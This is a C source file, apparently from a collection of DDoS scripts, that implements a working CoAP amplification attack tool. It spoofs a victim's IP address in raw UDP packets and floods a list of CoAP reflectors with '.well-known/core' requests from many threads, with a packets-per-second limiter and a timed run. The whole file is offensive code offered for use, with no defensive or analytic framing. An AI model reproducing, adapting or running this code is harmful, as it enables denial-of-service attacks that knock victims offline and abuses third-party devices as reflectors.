Path: blob/master/DDOS Scripts/AMP Methods/COAP Amplification/coap.c
4607 views
#include <time.h>1#include <pthread.h>2#include <unistd.h>3#include <stdio.h>4#include <stdlib.h>5#include <string.h>6#include <sys/socket.h>7#include <netinet/ip.h>8#include <netinet/udp.h>9#include <arpa/inet.h>10#define MAX_PACKET_SIZE 819211#define PHI 0x9e3779b912static uint32_t Q[4096], c = 362436;13struct list14{15struct sockaddr_in data;16struct list *next;17struct list *prev;18};19struct list *head;20volatile int tehport;21volatile int limiter;22volatile unsigned int pps;23volatile unsigned int sleeptime = 100;24struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };25void init_rand(uint32_t x)26{27int i;28Q[0] = x;29Q[1] = x + PHI;30Q[2] = x + PHI + PHI;31for (i = 3; i < 4096; i++)32{33Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;34}35}36uint32_t rand_cmwc(void)37{38uint64_t t, a = 18782LL;39static uint32_t i = 4095;40uint32_t x, r = 0xfffffffe;41i = (i + 1) & 4095;42t = a * Q[i] + c;43c = (t >> 32);44x = t + c;45if (x < c) {46x++;47c++;48}49return (Q[i] = r - x);50}51unsigned short csum (unsigned short *buf, int nwords)52{53unsigned long sum = 0;54for (sum = 0; nwords > 0; nwords--)55sum += *buf++;56sum = (sum >> 16) + (sum & 0xffff);57sum += (sum >> 16);58return (unsigned short)(~sum);59}60void setup_ip_header(struct iphdr *iph)61{62iph->ihl = 5;63iph->version = 4;64iph->tos = 0;65iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 21;66iph->id = htonl(54321);67iph->frag_off = 0;68iph->ttl = MAXTTL;69iph->protocol = IPPROTO_UDP;70iph->check = 0;71iph->saddr = inet_addr("192.168.3.100");72}73void setup_udp_header(struct udphdr *udph)74{75udph->source = htons(5678);76udph->dest = htons(5683);77udph->check = 0;78memcpy((void *)udph + sizeof(struct udphdr), "\x40\x01\x7d\x70\xbb\x2e\x77\x65\x6c\x6c\x2d\x6b\x6e\x6f\x77\x6e\x04\x63\x6f\x72\x65", 21);79udph->len=htons(sizeof(struct udphdr) + 21);80}81void *flood(void *par1)82{83struct thread_data *td = (struct thread_data *)par1;84char datagram[MAX_PACKET_SIZE];85struct iphdr *iph = (struct iphdr *)datagram;86struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);87struct sockaddr_in sin = td->sin;88struct list *list_node = td->list_node;89int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);90if(s < 0){91printf("[+] COAP [+] Somenthing are wrong, try again. [+] COAP [+]\n");92exit(-1);93}94init_rand(time(NULL));95memset(datagram, 0, MAX_PACKET_SIZE);96setup_ip_header(iph);97setup_udp_header(udph);98udph->source = htons(rand() % 65535 - 1026);99iph->saddr = sin.sin_addr.s_addr;100iph->daddr = list_node->data.sin_addr.s_addr;101iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);102int tmp = 1;103const int *val = &tmp;104if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){105printf("[+] COAP [+] Somenthing are wrong, try again. [+] COAP [+]\n");106exit(-1);107}108init_rand(time(NULL));109register unsigned int i;110i = 0;111while(1){112sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));113list_node = list_node->next;114iph->daddr = list_node->data.sin_addr.s_addr;115iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);116iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);117118pps++;119if(i >= limiter)120{121i = 0;122usleep(sleeptime);123}124i++;125}126}127int main(int argc, char *argv[ ])128{129if(argc < 6){130printf("[+] COAP [+]\n");131fprintf(stdout, "[+] Use: %s <IP> <PORT> <COAP LIST> <THREADS> <PPS (-1)> <TIME>\n", argv[0]);132exit(-1);133}134srand(time(NULL));135int i = 0;136head = NULL;137printf("[+] Starting attack... [+]\n");138int max_len = 128;139char *buffer = (char *) malloc(max_len);140buffer = memset(buffer, 0x00, max_len);141int num_threads = atoi(argv[4]);142int maxpps = atoi(argv[5]);143limiter = 0;144pps = 0;145int multiplier = 20;146FILE *list_fd = fopen(argv[3], "r");147while (fgets(buffer, max_len, list_fd) != NULL) {148if ((buffer[strlen(buffer) - 1] == '\n') ||149(buffer[strlen(buffer) - 1] == '\r')) {150buffer[strlen(buffer) - 1] = 0x00;151if(head == NULL)152{153head = (struct list *)malloc(sizeof(struct list));154bzero(&head->data, sizeof(head->data));155head->data.sin_addr.s_addr=inet_addr(buffer);156head->next = head;157head->prev = head;158} else {159struct list *new_node = (struct list *)malloc(sizeof(struct list));160memset(new_node, 0x00, sizeof(struct list));161new_node->data.sin_addr.s_addr=inet_addr(buffer);162new_node->prev = head;163new_node->next = head->next;164head->next = new_node;165}166i++;167} else {168continue;169}170}171struct list *current = head->next;172pthread_t thread[num_threads];173struct sockaddr_in sin;174sin.sin_family = AF_INET;175sin.sin_addr.s_addr = inet_addr(argv[1]);176struct thread_data td[num_threads];177for(i = 0;i<num_threads;i++){178td[i].thread_id = i;179td[i].sin= sin;180td[i].list_node = current;181pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);182}183for(i = 0;i<(atoi(argv[6])*multiplier);i++)184{185usleep((1000/multiplier)*1000);186if((pps*multiplier) > maxpps)187{188if(1 > limiter)189{190sleeptime+=100;191} else {192limiter--;193}194} else {195limiter++;196if(sleeptime > 25)197{198sleeptime-=25;199} else {200sleeptime = 0;201}202}203pps = 0;204}205return 0;206}207208209